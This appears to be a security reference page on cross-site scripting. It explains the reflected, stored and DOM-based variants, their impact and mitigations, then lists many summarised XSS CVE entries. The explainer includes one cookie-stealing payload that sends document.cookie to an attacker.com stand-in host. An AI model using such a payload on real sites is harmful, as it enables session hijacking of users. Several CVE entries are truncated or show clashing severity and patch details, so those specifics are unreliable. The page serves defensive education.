Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (10104)

EPSS 0% CVSS 4.6
MEDIUM PATCH Monitor

Indico is an event management system that uses Flask-Multipass, a multi-backend authentication system for Flask. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Python XSS Indico
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability in Azon Dominator. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Heateor Login - Social Login Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'Heateor_Facebook_Login' shortcode in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

The Welcart e-Commerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via settings in all versions up to, and including, 2.11.20 due to insufficient input sanitization and output. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The MyBrain Utilities plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugins's 'mbumap' shortcode in all versions up to, and including, 1.0.8 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The PowerPack Elementor Addons (Free Widgets, Extensions and Templates) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘cursor_url’ parameter in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.3
MEDIUM Monitor

Cross-site scripting in certain Zoom Workplace Clients may allow an unauthenticated user to conduct a denial of service via network access. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Denial Of Service XSS Meeting Software Development Kit +5
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability exists that could cause an unvalidated data injected by a malicious user potentially leading to modify or read data in a victim’s browser.

XSS
NVD
EPSS 0% CVSS 9.6
CRITICAL POC Act Now

DeepChat is a smart assistant uses artificial intelligence. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE Code Injection XSS +1
NVD GitHub
EPSS 0% CVSS 7.1
HIGH PATCH This Month

wabac.js provides a full web archive replay system, or 'wayback machine', using Service Workers. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Halo v2.20.17 and before is vulnerable to Cross Site Scripting (XSS) in /halo_host/archives/{name}. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Halo
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Halo prior to 2.20.13 allows bypassing file type detection and uploading malicious files such as .exe and .html files. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Halo
NVD
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

In pfSense CE /suricata/suricata_app_parsers.php, the value of the policy_name parameter is not sanitized of HTML-related strings/characters before being directly displayed. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Pfsense
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

In pfSense CE /suricata/suricata_flow_stream.php, the value of the policy_name parameter is not sanitized of HTML-related strings/characters before being directly displayed. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Pfsense
NVD GitHub
EPSS 0% CVSS 8.6
HIGH POC PATCH This Week

listmonk is a standalone, self-hosted, newsletter and mailing list manager. Rated high severity (CVSS 8.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF XSS Listmonk +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

CWE-79 Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting'). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

Enumeration of ERC from object entry in Liferay Portal 7.4.0 through 7.4.3.128, and Liferay DXP 2024.Q3.0 through 2024.Q3.1, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 2023.Q4.0 and. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

IBM Hardware Management Console - Power 10.3.1050.0 and 11.1.1110.0 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Hardware Management Console
NVD
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

In pfSense CE /usr/local/www/suricata/suricata_filecheck.php, the value of the filehash parameter is directly displayed without sanitizing for HTML-related characters/strings. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Pfsense
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

In pfSense CE /usr/local/www/status_traffic_totals.php, the value of the start-day parameter is not ensured to be a numeric value or sanitized of HTML-related characters/strings before being directly. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Pfsense
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM PATCH Monitor

In pfSense CE /usr/local/www/haproxy/haproxy_stats.php, the value of the showsticktablecontent parameter is displayed after being read from HTTP GET requests. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Pfsense
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

Reflected cross-site scripting (XSS) vulnerability in Liferay Portal 7.4.3.110 through 7.4.3.128, and Liferay DXP 2024.Q3.1 through 2024.Q3.8, 2024.Q2.0 through 2024.Q2.13 and 2024.Q1.1 through. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 4.6
MEDIUM PATCH Monitor

Stored cross-site scripting (XSS) vulnerability in Liferay Portal 7.4.0 through 7.4.3.128, and Liferay DXP 2024.Q3.0 through 2024.Q3.5, 2024.Q2.0 through 2024.Q2.12, 2024.Q1.1 through 2024.Q1.12, and. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 6.4
MEDIUM POC This Month

Element Plus Link component (el-link) through 2.10.6 implements insufficient input validation for the href attribute, creating a security abstraction gap that obscures URL-based attack vectors. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Open Redirect XSS Element Plus
NVD GitHub
EPSS 0% CVSS 7.1
HIGH This Month

Cross-Site Request Forgery (CSRF) vulnerability in Cristiano Zanca WooCommerce Booking Bundle Hours allows Stored XSS.7.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress CSRF XSS +1
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HasTech ShopLentor allows Stored XSS.2.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in silverplugins217 Dynamic Text Field For Contact Form 7 allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Joe Dolson My Tickets allows Stored XSS.0.22. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AntoineH Football Pool allows Stored XSS.12.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPFactory Additional Custom Product Tabs for WooCommerce allows Stored XSS.7.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in nanbu Welcart e-Commerce allows Stored XSS.11.20. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Stefano Lissa Include Me allows Stored XSS.3.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pixeline Pixeline&#039;s Email Protector allows Stored XSS.3.8. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability exists in the WebAuthn Relying Party field within the Datacenter configuration of Proxmox Virtual Environment (PVE) 8.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Virtual Environment
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the U2F Origin field of the Datacenter configuration in Proxmox Virtual Environment (PVE) 8.4 allows authenticated users to store malicious input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Virtual Environment
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the HTTP Proxy field within the Datacenter configuration panel of Proxmox Virtual Environment (PVE) 8.4 allows an authenticated user to inject. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Virtual Environment
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager versions 6.5.23.0 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in solwin Blog Designer PRO.4.7. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in villatheme WooCommerce Photo Reviews.3.13. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Alexandre Froger WP Weixin allows Stored XSS.3.16. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected text injection in Ivanti Connect Secure before 22.7R2.9 or 22.8R2, Ivanti Policy Secure before 22.7R1.6, Ivanti ZTA Gateway before 2.8R2.3-723 and Ivanti Neurons for Secure Access before. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Ivanti XSS Connect Secure +3
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in YesWiki v.4.54 allows a remote attacker to execute arbitrary code via a crafted payload to the meta configuration robots field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Yeswiki
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM PATCH Monitor

A Stored cross-site scripting vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q2.0 through 2025.Q2.9, 2025.Q1.0 through 2025.Q1.16, 2024.Q4.0 through 2024.Q4.7,. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Information Disclosure XSS Digital Experience Platform +1
NVD
EPSS 0% CVSS 3.5
LOW POC Monitor

The AI ChatBot for WordPress WordPress plugin before 7.1.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wpbot +1
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM This Month

The Wilmer Core plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 2.4.5 due to insufficient input sanitization and output escaping on. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Mikado Core plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping on. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH Monitor

A Stored cross-site scripting vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q2.0 through 2025.Q2.11, 2025.Q1.0 through 2025.Q1.16, 2024.Q4.0 through 2024.Q4.7,. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Due to a Cross-Site Scripting (XSS) vulnerability in the SAP NetWeaver ABAP Platform, an unauthenticated attacker could generate a malicious link and make it publicly accessible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Sap XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Due to a Cross-Site Scripting (XSS) vulnerability in the SAP Supplier Relationship Management, an unauthenticated attacker could generate a malicious link and make it publicly accessible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

Sap XSS Supplier Relationship Management
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A weakness has been identified in SourceCodester Simple To-Do List System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Simple To Do List System
NVD GitHub VulDB
EPSS 0% CVSS 9.0
CRITICAL Act Now

The Volkov Labs Business Links panel for Grafana provides an interface to navigate using external links, internal dashboards, time pickers, and dropdown menus. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Grafana XSS
NVD GitHub
EPSS 0% CVSS 2.1
LOW POC Monitor

WeGIA is a Web manager for charitable institutions. Rated low severity (CVSS 2.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Wegia
NVD GitHub
EPSS 0% CVSS 8.6
HIGH PATCH This Month

The MCP inspector is a developer tool for testing and debugging MCP servers. Rated high severity (CVSS 8.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 1.7
LOW POC PATCH Monitor

Fides is an open-source privacy engineering platform. Rated low severity (CVSS 1.7), this vulnerability is remotely exploitable, no authentication required. Public exploit code available.

XSS Fides
NVD GitHub
EPSS 0% CVSS 8.4
HIGH POC PATCH This Week

LinkAce is a self-hosted archive to collect website links. Rated high severity (CVSS 8.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Linkace
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

A weakness has been identified in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS I Educar
NVD GitHub VulDB
EPSS 0% CVSS 8.1
HIGH This Month

A cross-site scripting (XSS) vulnerability in Smart Search & Filter Shopify and BigCommerce apps allows a remote attacker to execute arbitrary JavaScript in the web browser of a user, by including a. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Smart Search And Filter
NVD GitHub
EPSS 0% CVSS 9.8
CRITICAL This Week

Scholl Communications AG Weblication CMS Core v019.004.000.000 was discovered to contain a cross-site scripting (XSS) vulnerability. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Weblication Cms
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability in WebWork, which allows remote attackers to execute arbitrary code through the 'q' and 'engine' request parameters in /search. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE XSS
NVD
EPSS 0% CVSS 5.1
MEDIUM This Month

Cross-site Scripting (XSS) vulnerability stored in Multi-Purpose Inventory Management System, consisting of a stored XSS due to lack of proper validation of user input by sending a POST request using. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was detected in SourceCodester Time Tracker 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Personal Time Tracker
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A security flaw has been discovered in SourceCodester Online Polling System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Polling System
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was identified in Portabilis i-Educar up to 2.10. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS I Educar
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was detected in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A security vulnerability has been detected in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A weakness has been identified in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A security flaw has been discovered in itsourcecode POS Point of Sale System 1.0.php. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was identified in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was detected in Campcodes Grocery Sales and Inventory System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Grocery Sales And Inventory System
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A security flaw has been discovered in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was identified in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Recent Posts Widget Extended plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'rpwe' shortcode in all versions up to, and including, 2.0.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Admin Menu Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘placeholder’ parameter in all versions up to, and including, 1.14 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The StreamWeasels Kick Integration plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘vodsChannel’ parameter in all versions up to, and including, 1.1.5 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Smart Table Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘id’ parameter in all versions up to, and including, 1.0.1 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Content Views plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Grid and List widgets in all versions up to, and including, 4.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The SKT Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple widgets in all versions up to, and including, 3.7 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The aThemes Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Countdown widget in all versions up to, and including, 1.1.2 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Optio Dentistry plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'optio-lightbox' shortcode in all versions up to, and including, 2.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several of the plugin's widgets in all versions up to, and including, 1.5.5.1 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Html Social share buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'zm_sh_btn' shortcode in all versions up to, and including, 2.1.16 due to insufficient. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easy Social Feed - Social Photos Gallery - Post Feed - Like Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `data-caption` and `data-linktext` parameters in all. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was determined in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System
NVD GitHub VulDB
EPSS 0% CVSS 4.3
MEDIUM PATCH Monitor

A flaw was found in Keycloak. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Redhat
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in itsourcecode POS Point of Sale System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Point Of Sale System
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Biagiotti Core plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 2.1.3 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 7.1
HIGH This Month

